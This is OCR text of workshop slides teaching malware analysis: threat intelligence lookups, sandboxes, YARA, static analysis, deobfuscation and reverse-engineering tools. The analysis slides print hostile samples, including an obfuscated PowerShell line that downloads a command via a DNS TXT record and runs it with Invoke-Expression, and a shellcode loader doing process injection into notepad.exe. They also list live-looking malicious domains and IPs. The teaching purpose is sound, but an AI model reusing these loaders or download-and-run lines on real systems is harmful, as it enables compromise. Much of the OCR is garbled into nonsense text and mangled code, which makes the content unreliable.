detection systems for data Related reports
enrichment ”

DATE UQ/IDS/TDS URL

Detections

Network Intrusion Detection | 0

SIMILAR

2025-12-19 28:08 2-9-4 uk.paying-ba.vip/index.html

Received

1.4 MB

Pay a parking fine

Threat Detection Systems 4

P

B 43.131.4.37




hreat Intelligence: URL Query

Threat Detection Systems

Detection System Indicator

OpenDNS uk.paying-ba.
Hagezi Threat Feed uk.paying-ba.
DNS@ Zero uk.paying-ba.

Quad9 DNS uk.paying-ba.

JavaScript (3)

EVAL (0) WRITE (0)

URL
uk.paying-ba.vip/index.html
uk.paying-ba.vip/assets/index-93d5fdc9.js

uk.paying-ba.vip/index.html

Verdict

phishing

Alert

Phishing Block
Sinkholed
Sinkholed

Sinkholed

FROM SIZE
ScriptElement 1.8 kB
ScriptElement 397 kB

ScriptElement 6.2 kB

FIRST SEEN

2025-83-28

2025-12-15

2025-086-89

LAST SEEN

2025-12-19

2025-12-19

2025-12-19




Threat Intelligence: Sandboxes

A Public sandboxes are tools that allow you to automate malware analysis on submitted samples
A The downside of a public sandbox is that all samples remain publicly accessible

A As with submitting to VirusTotal, this can violate organizational policies

A There are many different sandboxes, but all of them function relatively the same

A Some good public sandboxes are:
A https://tria.ge
A https://hybrid -analysis.com/

A https://www.joesandbox.com

A https://any.run/



https://tria.ge/
https://tria.ge/
https://hybrid-analysis.com/
https://hybrid-analysis.com/
https://hybrid-analysis.com/
https://hybrid-analysis.com/
https://www.joesandbox.com/
https://www.joesandbox.com/
https://any.run/
https://any.run/

Threat Intelligence: Sandboxes

Recorded Future® .

Triage Submit Reports Q, search R = N E N Upgrade 6
Overview Static shellcode_loader.psi
overview 10 static m windows10-2004-x64 m

Resubmit s General "
wnload Sample Target
Print to PDF Size
1KB

Sample
250903-sy1fgsypy4d

Score

10"

MDS5
; EXECUTION
Sharlng e6c28d1d1603ec898015174a27bc6327
Copy URL SHA1

5059f2e8fd1df238dac6cf7947363409704f6ad4

Twitter
SHA256

6c12bf4dda294e1101be820ffff953352ebd1c69c681db08723123c51a28eb03

SHA512
068dc7e237016053bda264a07b91305aa27deaaf93c85a76db40202a9d45e8fc11ebb548ebal6161c8
ccecee37019ed43bddfcad2a3fab223833a803423e6530



Threat Intelligence: Sandboxes

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess * 11oCs

Badlisted process makes network request * 11oCs
Network request originating from process or tool commonly abused by malware.

Command and Scripting Interpreter: PowerShell * 1 TTPs 1 10Cs
Using powershell.exe command.

EXECUTION
Suspicious behavior: EnumeratesProcesses * 6 loCs l-|= Processes A
Suspicious use of AdjustPrivilegeToken * 1loCs
C:\Windows\system32\sihost.exe PID:3012

Suspicious use of WriteProcessMemory = 8 loCs
sihost.exe

C:A\Windows\system32\openwith.exe PID:5000

"C:\Windows\system32\openwith.exe"

B C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe PID:3516

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\shellcode_loader.p
s1

C\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe PID:4068

“C:\Windows\Microsoft.NET\Framework64\v4.8.308319\csc.exe” /noconfig /fullpaths @"C:\Users\Admi
n\AppData\Local\Temp\dvsotwu2\dvsotwu2.cmdline"

C:AWindows\Microsoft. NET\Framework64\v4.0.30313\cvtres.exe PID:2304

C:\Windows\Microsoft.NET\Framework64\v4.8.38319\cvtres.exe /NOLOGO /READONLY /MACHIME:IX86
"/OUT:C:\Usersh\Admin\AppData‘\Local\Temp\RES92AB.tmp" "c:\Users\Admin\AppData‘\Local\Temp\dvso
twu2\CSCBC9359B781D443BCACB2282196CE7BE . TMP"



Threat Intelligence: Sandboxes

& Network
ests @)

£

L

n o

DNS

GET

DNS

GET

TCP 2 UDP 2

frelmeex.top

https://frelmeex.top/GitHubData/mood.bin

e.pkigoog

http://c.pki.goog/r/ri.crl

POWERSHELL.EXE

POWERSHELL.EXE



Threat Intelligence: Scanners

A Open-source scanners can also be a good source of threat intelligence

A Services like Shodan olCensyscan offer insight into contacted domains and IPs

A These services will periodically scan the internet for open services and publicize their findings

A Scanners will fingerprint these open services and can help identify Command and Control (C2) servers

Asebv@ii ~ipl dfsb vir ~k fab~ Ilc terq@p orkkfkd |k

A*c geb p “kkbo fpk@g mf hfkd rm geb p~rjb gvmb | c go”cc
is filtering connections



Threat Intelligence: Scanners

43.131.4.37

Sedphagn _Wiesbaden ™ xigstadts Hefiehn ,‘/Ln\ 4 o . Fir N ‘Grofkrouenburg, - Alzetau
B RegularView >_RawData ‘D Timeline # & Whois ; (¥ #Hattersheim Obertshousen | “ Dy 5 Kahlam

Schollkiippen Ruppertsht
Wasserlos MBmbris PRSSSSIRINN © Ope:\ipTiles Satelite © MapTiler © OpenStreetMap contributors

@ General Information

Country Germany

City Frankfurt am Main

Organization Asia Pacific Network Information Center, Pty. Ltd.

ISP Tencent Building, Kejizhongyi Avenue

OpenSSH
AS132203

/A Vulnerabilit

2025 (2)

CVE-2025-32728

CVE-2025-26465

(4 2024 (1)

CVE-2024-6387

2023 (s)

CVE-2023-51767

CVE-2023-51385

‘Allports o|| Latest ~

43| In sshd in OpenSSH before 10.0, the DisableForwarding directive does not adhere to the documentation stating that it disables X11 and
agent forwarding

88] A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middie attack can be performed
by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandies error codes in specific conditions

when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource
first, turning the attack complexity high

- A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to

handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set
time period

[l OpenSSH through 10.0, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because
the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat

model of attacker-victim co-location in which the attacker has user privileges. NOTE: this is disputed by the Supplier, who states "we do not
consider it to be the application'’s responsibility to defend against platform architectural weaknesses®

65 In ssh in OpenSSH before 9.6, 0S command injection might occur if a user name or host name has shell metacharacters, and this name is

referenced by an expansion token in certain situations. For example, an untrusted Git repository can have a submodule with shell
metacharacters in a user name or host name.

SSH-2.0-OpenssH 9.3
Key type: ssh-rsa
Key:

g; FINLyHOXO2H

ARRABINZaC1y C2EAAAADAQABAAABEQCHIWNGEF YMEBTVDVXE 5y 78VKL CL JaCFDf T16aUrKiouT

674K 6SAFuTZ3+3em0CH

IAtrecENpoBADG

42popmy JSHZSLH7A290GT+S+hiTC)

i}

KROIMLASKUUNZ:

fwsLLL
MFWI7AAAFTP

Voox2za6

/YNKS3MdeTC:

711vxg/ /2YPI+FO

JaRDSXFENAD z

RBt/cOKas3M=

Fingerprint: 1d:14:77:82:10:35:97:ac:80:8e:b1:ae:41:ba: 3f:F2

Kex Algorithms:
curve25519-sha2s6
curve25519-sha2s6@libssh.org
ecdh-sha2-nistp2s6
ecdh-sha2-nistp3ss
ecdh-sha2-nistps21
diffie-hellnan-group-exchange-sha2se
diffie-hellnan-groupls-sha2ss
diffie-hellnan-groupls-shasi2
diffie-hellnan-groupis-shasi2
diffie-hellman-group-exchange-shal
diffie-hellman-group1s-shal
kex-strict-s-veegopenssh.com

Server Host Key Algorithas:
-shaz-512
-sha2-256
-rsa
ecdsa-sha2-nistp2s6
ssh-ed25519

Encryption Algorithms:
aes256-gengopenssh. con
chachaze-poly13es@openssh. con
aes256-ctr
ae5256-cbc
aes128-gengopenssh. con
aes128-ctr
aes128-cbc

MAC Algorithms:
hmac-sha2-256-etmgopenssh. con
hmac-sha1-etngopenssh. con
usac-128-etngopenssh. con
hmac-sha2-512-etngopenssh. con
heac-sha2-256
hwac-sha1
umac-128gopenssh. com
heac_shaz-512




Threat Intelligence: Maltego

B~ & o
‘ﬁb - =] > Maltego Community Edition 4.4.1

A Maltegois a threat
intelligence tool that
can be used to create
high-quality attack
maps and other useful
shareables

A Maltegois typically
used more in
professional threat
intelligence, but it is a
great tool for personal
use as well



Threat Intelligence: MITRE Attack Flow

URL

IPVA_ADDR AE

77.83.207.225/x.jpg
VALUE
77.83.207.225

MALWARE

XWorm Loader
MALWARE

ClickFix payload
DESCRIPTION
DOMAIN_NAME S Contains an AMSI Bypass and the XWorm
ACTION - client and DLL encoded in base64 arrays.
pulls and executes the XWorm loader . L
ClickFix delivery Uses reflection to load the binaries after
MALWARE TYPES building and decoding them.

PowerShell loader

VALUE
https://portal-secure.app
MALWARE TYPES
IS FAMILY PowerShellk XWorm loader

True
IS FAMILY

True

MALWARE
XWorm client FILE EILE

XWorm Client ClassLibrary4.DLL
IS FAMILY

True HASHES HASHES

T D3038E7344539BC10632956FC9812E2030 1F6898293EAT1EF610BIA9454AD2122AC54
RAT, Keylogger, Enumeration, Persistence via 923656A19427947FIRC6ADR4979DIR EA395A615A75EEAAB5693DAATFBIA

Registry key

https://center -for-threat-informed-defense.github.io/attack-flow/ui/



https://center-for-threat-informed-defense.github.io/attack-flow/ui/
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https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/
https://center-for-threat-informed-defense.github.io/attack-flow/ui/

Writing YARA
Rules



YARA: An Introduction

A Yet Another Recursive Acronym (YARA) is a

tool for detecting malware via predefined N

r
L

rules

A The rules follow a simple structure and can
easily be configured for multiple unique
conditions

A YARA rules are a common way to share
malware detection rules across organizations
and tools

meta:
description = "This is just an example"

threat_level = 3
in_the wild = true

strings:
$a = {6A 40 68 00 30 00 OO0 6A 14 8D 91}
$b = {8D 4D BO 2B C1 83 CO 27 99 6A 4E 59 F7 F9}
$c = "UVDDFRYSIHLNWPEJXQZAKCEGMT"

condition:
ta or $b or ic

https://virustotal.github.io/yara/


https://virustotal.github.io/yara/

Static Analysis



Static Analysis

. A Static analysis involves examining a file or binary without
e e payload. exe executing it. This allows analysts to safely inspect files
without risk of executing malicious code.

sha256sum payload.exe A Often, static analysis and threat intelligence are enough
cd7al3+u427838U739fUUd8bo6d80585a0207bcba8ba2ec51f91cblacd5cl2Uld7 payload.exe to determine the impact of a malicious file

A For example, looking up hashes on VirusTotal or a

binwalk payload.exe . .
i public sandbox will be enough to make a

DECIMAL HEXADECIMAL DESCRIPTION determination
Microsoft executable, portable (PE) A Static Ana|ysis Tools
136728 Bx6A9F8 SHA256 hash constants, little endian ]
439708 Ox6B59C PEM certificate A Strings
439876 Ox6B6UL PEM RSA private key .
44BOT2 Bx6B708 PEM EC private key A PEStudio
4uel1ss Ox6B7U8 PEM DSA private key A PEID
usu7el Ox6FB30 Copyright string: "Copyright (c) by P.J. Plauge I
HESERSERN A Hex editors
A Code editors
file payload.exe I A Terminal/Shell commands

payload.exe: PE32 executable (GUI) Intel 88386, for MS Windows




Static Analysis: File Analysis

A File Analysis is the process of analyzing a file without executing it
A Most Static Analysis falls under this category

A Mainstays of File Analysis are strings, headers, and import/export tables

A Strings.exe is a program that will print all continuousUnicode/ASCllp qof kdp mobpbkg fk ~ cf
multiple iterations of strings for various architectures, operating systems, and language preferences.

A Headers, or magic numbers , are the first series of bytes in a file. These bytes determine the file type. Often, file
extensions are misleading. A file can be renamed with any extension, regardless of what the data represents. By
examining magic numbers, you can get a better sense of what type of file a sample is.

A Binary files useimports when accessing operating system components. In most cases, these are segments of
Windows API files and capabilities. For PE (Portable Executable) files, imports are in the IAT (Import Address Table)

A Exports are functions that originate from within the binary but are exported for use outside of the binary scope. In
most situations that do not involve DLL or similar files, there will only be atart export that indicates to the
operating system where the start of the code is.



Static Analysis: Strings

A The bottom image is the raw file bytes presented as This program cannot be run in DOS mode

PE

A When run through a strings programthe continuous
Unicode/ASCllIstrings are displayed

Strings output of a PE File

A This hex dump resolves to the top message

4D 5A 98 o8 93 80 88 08 04 60 08 68 FF FF 08 80 B3 €0 ee 20 00 80 o8

. . . . 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0@ 00 0O 00 00 00
A There are multiple versions of strings and different %0 60 60 00 00 60 00 00 60 00 00 60 00 00 BS 00 00 60 OF 1F BA OF 00
i i B4 @9 CD 21 B8 @1 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63

programs that can visualize them 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64

: A 65 2E @D @D OA 24 @@ 00 00 0@ 8@ 00 60 C7 BF 79 DA 83 DE 17 89 83 DE

A Sysinternalsd 4 qof kdp fp dob”qg clo 17 89 83 DE 17 89 @@ C2 19 89 82 DE 17 89 CC FC 1E 89 87 DE 17 89 BS

A https://learn.microsoft.com/en - F8 1A 89 82 DE 17 89 52 69 63 68 83 DE 17 89 00 00 00 00 00 00 00 00

T ' ' _ 50 45 0@ 00 AC @1 @3 00 16 6A 88 53 00 @0 00 00 00 00 00 00 EO 00 OF
us/sysinternals/downloads/strings 01 0B 01 06 00 @0 FO 00 00 00 30 00 @0 00 08 00 00 E0 16 00 00 00 10

80 00 00 08 @1 20 o0 0. 40 oo

Hex dump of a PE File


https://learn.microsoft.com/en-us/sysinternals/downloads/strings
https://learn.microsoft.com/en-us/sysinternals/downloads/strings
https://learn.microsoft.com/en-us/sysinternals/downloads/strings
https://learn.microsoft.com/en-us/sysinternals/downloads/strings

Static Analysis: Headers

A Headers are one way to determine what a file is

A File extensions can easily be faked or removed, so
using headers is a more robust way of identifying a
file type

A A file header must be present for the file to operate
normally

A For example, every Windows Portable Executable
_fkc"ov _bdfkp tfge qgeb

A If these bytes are not present, the PE file will fail to
execute

A https://en.wikipedia.org/wiki/List_of_file_signatures

_vagbp

In Memory
A
other sections
PE Flle
I
pped Data
]
— text section
I
Jdext section Section Takle
Higher : DOS Header Higher
sffsets DO% Header alresass

https://learn.microsoft.com/en -us/archive/msdn-
magazine/2002/february/inside-windows-win32-portable-executable-file-
format-in-detail
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Static Analysis: Imports/Exports

imports (79) flag (13} first-thunk-criginal (INT)  first-thunk (1AT) hint

A In a standard PE file, all imported DLLs will have
an entry in the Import Directory Table (IDT)

A The Import Lookup Table (ILTbottom image)
follows the IDT and describesall of the imports
from a specific DLL

A Most analysis tools will have the capability to
extract and listall of the imported DLLs and
functions a binary relies on

A Similarly, functions the binary exports are also
defined

A This is mostly used in DLLs, as most binaries only
buml og geb Upg”2oqU cr k"

gf l

FindFirstFileEW
FindMesxtFile'W
GetCurrentProcess
GetCurrentProcessld
GetCurrentThreadld
GetEnvironmentStringsW
GetModuleHandleExW
RaiseException

Btll ookupFunctionEntry
RtIPcToFileHeader

SetEnvirenmentVariablelW

Bit Field

Ordinal/Name
Flag

Ordinal

Number

Hint/Name
Table RVA

oM oM oM oM oM oM X oM oM oM

Description

If this bit is set, import by ordinal. Otherwise,
import by name. Bit is masked as @x88000880 for
PE32, ©x30600000000000000 for PE32+.

A 16-bit ordinal number. This field is used only if
the Ordinal/Name Flag bit field is 1 {import by
ordinal). Bits 38-15 or 62-15 must be @.

A 31-bit RVA of a hint/name table entry. This field
is used only if the Ordinal/MName Flag bit field is @

{import by name). For PE32+ bits 62-31 must be zero.



Static Analysis: Code Analysis

fkey = Bxa

A I n some I nc I d en tS raw co d e fl I es | I ke J ava S C rl pt Stypel = "L7gTMtFz@exbu/XqISR3xusgcL BHADXF/HK Fu9weiMe PvADGKQz 1k tCBS1wB6sXYAXdxcADpDXXuPditUm3Dy9uedUM)1 Sdt BuRSQRKETKUR9uedeF + 7 3dNCRhmVBAS hhl jBuuej + W8
)

1 $typelKey = "+xdItpHTBHOrr7tIsBHouhdZarLycrcBoNWg3p7lmao=";

Python, or PowerShell are used to carry out e e sresteO

i n Itial access .Ki rt]: :FromBase645tring($typelkey);

t]::FromBase64String($typeliv);
: : FromBase64String($typel)){

A Typically, these files are obfuscated, which is a
process for obscuring the content of the code

A d fl b d d h 3E rt]: :FromBase64String (" dNpbmcglU31zdGViOwplc21uZyBTeXNeZWouUnVudG1tZ55]1bnR1cmowl2Vydml j DM7CgogCnBlYmxpYyBjbGF zcyBLZXIuZWwz Mg
As code files must be decrypted to execute, the | ———————————

plain text is often easy to get Jpebefinition Stype2

2e@owo12X{UmQhpl pml-+WppCDgQaeV2c 8Dy Edo@3Ng=""
A Threat actors will obfuscate the plain text through

a variety of means to make the code harder to ey Camert1 ramestsring(ske
understand . :FromBase645tring($iv)

rZ6WIa6TjyxgAak3PQa507TFu2PMA9dGPBdhHi8 D2 Tyt 5eUf fmY476L43ppb6Brw0L 7a03xs t0gL JwXeNZ 9EzmBAtwiGWvNI3 ppC/RAVIWYXBCEZXzra7cokrn
t]: :FromBase64String($data) ){

A Obfuscation methods typically use text encoding§
like Base64, common ciphers, AES encryption, |l

fpayload = | FromBase645tring([string]: :New($payload.TransformFinalBlock($data,®, $data.length))))
d d 1 d 1 d fprocessInfo = [ 1: :CreateSuspendedProcess("C: \Windows\System32\notepad.exe™)
re. un a-nt IOgIC an funCtlonS’ an em pty Or $allocatedAddr :VirtualAllocEx($processInfo.hProcess, [IntPtr]::Zero, [UIntPtr]::new($payload.Length
m Islead I ng Code to CO nfu Se an aIyStS r ritePro sMemory ($processInfo.hProcess, $allocatedAddress, $payload, $payload.Length, [ref][IntPtr]:

ueuelserAPC($allocatedAddress , $processInfo.hThread, $null) »$null
r]: :ResumeThread($processInfo.hThread



Static Analysis: Deobfuscation

Input Output
// Example obfuscated code let total = @;
const _@x38a2db = ['\x54\x6f\x74a‘\x6c’, "\xec\x6f\x67', "\x3a\x20']; for (let i = @; 1 <« 108; iH+) {
const _8x9b58d9 = function(_©x39ddb7) { total += i;
return _@x38a2db[_0x39ddb7 + (-0x6d5 + 8x58 + @x11 * @x62)]; }
}» _@x498b9b = function(_ @x48d888, _0xladale) { console.log("Total: " + total);

return _@x9b58d9(_ox48d308);

}» _®x34c7bc = function(_@xl6afld, _©0x27a2%e) {
return _@x498b9b(_0x16afld);

by _9x23al = _@x34cibc;

let total = @x2 * @x10%: + -0xc * -0xl6a + -8x3234;

for (let 1 = @x1196 + @x97b * @x3 + -8x2e@7; 1 < -8x95 * -8x38 + -Oxl:
total += 1i;

}

console[ @x34cTbc(-(0xle7c + -0xl * -@x1367 + oxZef * -8x11))](_ox498L

4 >

Deobfuscate Copy Result



Static Analysis:
Deobfuscation 1

JavaScript Deobfuscation:
A https://deobfuscate.io/

A https://obf -io.deobfuscate.io/

PowerShell Deobfuscation:

A https://github.com/R3MRUM/PSDecode

Python Deobfuscation:

A https://github.com/Fadi002/De4py



https://deobfuscate.io/
https://deobfuscate.io/
https://obf-io.deobfuscate.io/
https://obf-io.deobfuscate.io/
https://obf-io.deobfuscate.io/
https://obf-io.deobfuscate.io/
https://github.com/R3MRUM/PSDecode
https://github.com/R3MRUM/PSDecode
https://github.com/Fadi002/De4py
https://github.com/Fadi002/De4py

Static Analysis: Obfuscation Example

& ([String]l::new(((gcm *vikE-ExZrex).name)))
([string]::new([System.Convert]::FromBase64String(((('Kh@nV001lblmt[017N14mexfnIFekcR@pek8sQx
1.dE8x[RngM141cVTqIRjnHMuUN[YPtW3WhP3yq[V41YUn7U1W2JIBjtSF82clywXVSUeIKqclbnJGKmb38relTuSF4{U1l
Gu[RCK[VntXVymboSwelWxcF81[B4kc31fMYS4bFTTfWGiTIR4UeIKgcle{V{CeJYVIHB1cT2Sx V4o0YUn7c1W2IBfn[3
OuHBg3Q3r.MU85Q2KmJhjtclGu[RjgJRHq' ).ToCharArray() | %{[char]($_ -bxor )}) -join '"))))

& ([String]::new(((gcm *vEkE-Exire*x).name)))("
[Net.WebClient]::New( ).DownloadString((Resolve-DnsName cej.alertoverload.com -type
TXT).Strings[0])|& ([String]::new(((gcm *v?k?-?x?re*).name)))")

= (Resolve-DnsName cej.alertoverload.com -type TXT).Strings[0]
= Invoke-WebRequest

Invoke-Expression .content




Static
Analysis:
CyberChef

A The absolute best CTF tool
A CyberChefprovides tools for
decryption, decoding, and

many other functions

A Many obfuscated samples
can be entirely reversed in
CyberChef

‘¥
Operations
magic
Magic
mage Bright C
Emt led Filé

Favourites

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Networking
Language

Utils

Date / Time
Extractors

Compression

Recipe

Microsoft Script Decoder

STEP

Auto Bake

e new features nere ption Q About upg Q
Input + 0Oz =

/Y~S5,2a+1)k/ns@EEBBEBEVBEBVBEBVVMVEF 2 /K+Wahv1A&FXdWnGa : @88&U; 4, ZGs A +mOPA+UT « 2714
* " wkDKYB~? +mGx9PS~: tkM[PBPsK; . Y4PBPOKWO4#VBEVBEBVVEBBVVEBCV2{H/G*
Wa:BmV2{XkWnWa :@&P+ :w, XPWkDkO~_, ?+
mGx[~3PPtb.N, ~oKEDO4, ~sbWDtvEBEBBEBEVBEBVBELsFFX/KnWa:BmsFGH/K+GWhE&; W[+, xP"+2
smm+cPe:2PB~r[E,~, ], #EVBEBVBEBVVEBBEV1A&GHAG+KWSBCVF{H/G+K2: @&2U[, ?
ESVEBVBEVEBVEBEBBE1 fGH/G+KwhvmV&Fz/K+Wah@&BEBEBVBYVEBVBEVBmMVF{H/WnGa: vl FFXdK+K
W @RI +OEMx~" ,r8%emYc]E

ZK[n~, 1BPOD; n*BvBEVBEBVVEBBY
W2:ECV26zdK+W2h@&e jmMraY UVe
+wv*ZT1Z#vBEBVVEBBEVBEBBECSEFXkWnW2hE1s&Fz /K+G258&sG. ,k~',q,KG, *EBBEBEVBEBVBEBVY
MVEF 2/ K+Wahv1A&FXdWnGa : &KE~K, *~X ,KtnUEBVBEVEBYEBEBBEBMS&F XdWe
W2hELIV2{XkW+K2h@&hlkYn jKmY4#@&3x9PrWEBBVVEBVBEVEBVEBMVAFXKG+KwhBmVE{H/b
a0BEBEBVBVVEBVBEVBmMVF{H/WnGa: v1AFFXdK+Kw:@&? | 8PhldYs" ]P*@&s}8Le
mYc/GwHsbVnP JPENCY4j YMKULBE2xX [~UEBYLIEAA== #~@

1s&FzkWNKwsB1A&Fz/K+Gws@&vvEBBEVBEBBEVVBE1 &{XdG

Gws@&le

s 4246 = 1 Tr Row Byte & LF

Output B0 m

Set Object = WScr

pt.CreateObject("WScript.Shell™)
7ysoeopm'al37ysoeopm

Set SObject =
CreateObject("Shell.Application™)"'"'
Set FObject =
CreateObject("Scripting.FileSystemObject"™)

al37ysoecpm’'al37ysceopm

[

137ysoeopm’al37ysoecp

SPath = WScript.ScriptFullName'"''"'"'**"""""'*'** al37ysoeopm'al37ysoeopm
al37ysoeopm’al37ysoeopm

"""""""" 'al37ysoeopm’al37ysoeopm

Power@ = “"Po" ‘al37ysoeopm’al37ysoeopm

Powerl = "we" ‘''*'al37ysoeopm’al37ysoeopm

Poyan2; a-"pS 7" s Enieraamess al37ysoeopm'al37ysoeopm
Power3 = "he"
e 4158 = 65 @® 4as  Tr Row Bytes € LF




]
?
SRE(] c\users\liam powell\downloads\chrome downlg property value

'é indicatars (imports > flag > count) footprint > sha?56 00684257C243E4BDOBACO8000DB06TSCEIAEERDOBEEAOEFBEDF13651D9152D49
- :] Footprints (count > 10) first-bytes » hex 4D 5A 90 00 03 00 00 0D 04 00 00 00 FF FF 0D 0D B3 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
A n aI S I S u - b dos-header (size > 64 bytes) ::::t;bizs}tm :’lgzwﬁbﬁes o @
Bl dos-stub (size > 184 bytes) —
" - [+ rich-header (tooling » Visual Studic) entropy 6173
- [» file-header (compiler-stamp > Apr.2025

-I» optional-header (subsystem > console) tooling Visual Studio 2015

[ ]
.54 directories (count > §) file-type executable
- sections (count > 5) cpu 64-bit
-~ | libraries (count » 2} * subsystem console

:: imports (flag = 79) *

A PEStudiopulls apart and ;;;; e —
parses Portable Executable | oo |
(PE) files &

A It can take some time to o
process, and occasionally it e

will freeze

A The imports and strings tabs
contain a flagging function to
alert on known indicators




Static Analysis: PEStudio

=85 chusers\liam powell\downloads'chreme downle

----- > dos-header (size > 84 bytes)
@ dos-stub (size » 184 bytes)
----- > rich-header (tooling = Visual Studia)

----- > optional-header (subsystern > console)
----- = directories (count > §)
----- > sections (count > 5)

| libraries (count » 2] *

¢

| imports (flag = 79) *

----- abe strings (count » 3621)

0 I3

----- > file-header (compiler-stamp = Apr.2025)

indicator (20)

imports > flag > count

compiler > stamp

debug = stamp
file » checksum

groups > API

mitre > technigue

file = entropy

file = footprint

file > size

rich-header » checksum

rich-header » offzet

rich-header > footprint

file = tooling
security = protection

security =

detail

13

Fri Apr 25 01:33:38 2025
Fri Apr 25 01:33:38 2025
Fri Apr 25 01:33:38 2025
000000000

execution, consele, file, reconnaissance, synchronization, memory, exce...

T1057, T1124, T1082, T1106, T1083
6.173

00624257C243E4B0984C98905DB0673CE34EEBDD6I349EFBEOF136310915...

139776 bytes
DxCB41881C
Dx00000080

42955092420096591 FBAS0ADFDAGSFEDBET4A42TABCECA5861DCS9ERTT...

Visual Studio 2013

data-execution-prevention (DEP) > ON
control-flow-guard (CFG) » OFF
address-space-layout-randomization (ASLR) > OM
console

code-integrity (CI) = OFF

FE181CC3BI7F20DD391 CDOARB4320BR17

level

-

[CE I L TR S T L R S N ]



Static Analysis: Packed Executables & PEID

A PEiDentifier (PEiID identifies packed binaries

=l A A packed binary is any binary that has run through
a packing process that compresses, encrypts, or

M€ PEID v0.95

File: | @tichavl.exe | otherwise obfuscates the binary

Entrypoint: |[000306C0 EP Section: [UPX1 =] A This is typically done.b.y adding a loader that

_ _ decompresses the original program code at run
File Cffset: |000104CO First Bytes: |60,BE,00,30 | = | fime

Linker Info: | 9.0 Subsystem: | Win3z GUI |i|

A When you attempt to reverse engineer a packed
binary, the loader must be reversed first to reveal
the original payload code

|L|F'.5-i 0.89.6-1.02 [ 1.05 - 2,90 - = Markus & Laszlo

Mulki Scan Task Yiewer Qpkions Abouk Exit

A Some common packers have well known loaders
or functions that can be easily reversed

2 Skay an bop B -




Mini CTF 1



Mini CTF 1

Time: 10 minutes

Link: https://github.com/Ipowell/Malware Workshop Public/tree/main/mini_ctf/CTF_1

Scenario:

A We've found this strange binary on a device. It prints out "Running this won't give you the fl&s, ". Can you
figure out what they're talking about?


https://github.com/lpowell/Malware_Workshop_Public/tree/main/mini_ctf/CTF_1

Mint CTF 2



Mini CTF 2

Time: 10 minutes

Link: https://github.com/Ipowell/Malware Workshop Public/tree/main/mini_ctf/CTF_2

Scenario:

A This looks like a binary file, but we can't seem to get it to run. It gives us a weird error about entry points in
DLLs. Can you look at it and figure out what's wrong with it?


https://github.com/lpowell/Malware_Workshop_Public/tree/main/mini_ctf/CTF_2

Reverse
Engineering



Reverse Engineering ool IHERE

A Reverse engineering is the process of breaking down
software into its base functions to determine how it works

A Reverse engineering and malware analysis are heavily
connected, but they are unique and different fields

A Malware analysis uses reverse engineering with a focus on
discovering the capabilities and features of a malicious
sample

A Tools like IDA and GHIDRA can take compiled binaries and
disassemble them into their base assembly instructions

A Analysts can use the assembly view to better understand
the logic and functionality of the binary

A Huntress has a really good blog post on reverse engineering
as a field https://www.huntress.com/cybersecurity - v 4
101/topic/what -does-a-reverse-engineerdo-cybersecurity A N

1Rl ﬂlllllll AFFORDIIT
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Reverse
Engineering:
IDA

A DA is a disassembler that can take a binary file
and Wecompile Uit into human-readable assembly
instructions

A

A

This is done by converting the machine code to
human-readable code

GHIDRA is another common tool that serves a
similar purpose

A IDA has several views for thelecompiled code

A

The IDA view creates a flowchart styled view of the
code grouping segments of code together by
function

The Hex view provides the raw hex content of the
binary

The Pseudocode view takes th@ecompiled code
and attempts to reconstruct it into a C-like syntax

A IDA also supports custom plugins for automation
and analysis enhancements

uments\Rustimare_demoltargetirelease\mare_demo.exe
Options  Windows  Help

A ELBE-D&Q P Local windows debugger v | ¢| [ |1 2 o5 =

n [l Data [1] Unexplored | External symbol [l Lumina function
m e x| B IDA Vien-A [x]
Segment  Start
et 0000000140¢
text 0000000 140¢
text 0000000140
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140
text 0000000 140¢
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140
“text
text 0000000140¢
text 0000000140
text 0000000140
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140
text 0000000 140¢
text 0000000140
text 0000000 140¢
text 0000000140
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140
text 0000000140
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140C
text 0000000 140¢
et 0000000140¢
text 0000000 140¢
text 0000000140
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140
text 0000000 140¢
text 0000000140
text 0000000 140¢
et 0000000140¢
text 0000000140C
text 0000000 140¢
et 0000000140¢
text 0000000140
o8 x

100.00% (-738,-311) (1285

) 00001550 0000000140002A50: main (Synchronized with Hex View-1)

ol

Local Types

@ aE

main proc near

8= byte ptr -18h

var_s= quord ptr -3

sub rsp, 38h

mov r9, rdx

movsxd 8, ecx

lea rax, sub_140601098

mov [rsp+38htvar_8], rax
mov [rsp+38htvar_13], @
lea rdx, unk_140078620

lea rex, [rspt3shivar_]
call  sub_14060CB28

nop

add rsp, 38h

retn

main endp

5 int _fastcall main(int argc, const char **argy, const char

*envp)

i |

Imports

M

t\mare_demo\targetirelease\nare_demo.exe’ has been successfully loaded into the database
ded (v8.4.0.240320)
sion (1 user)

r mere information.

€ v14 64bit runtime

C B4bit universal runtime
4

is already typed
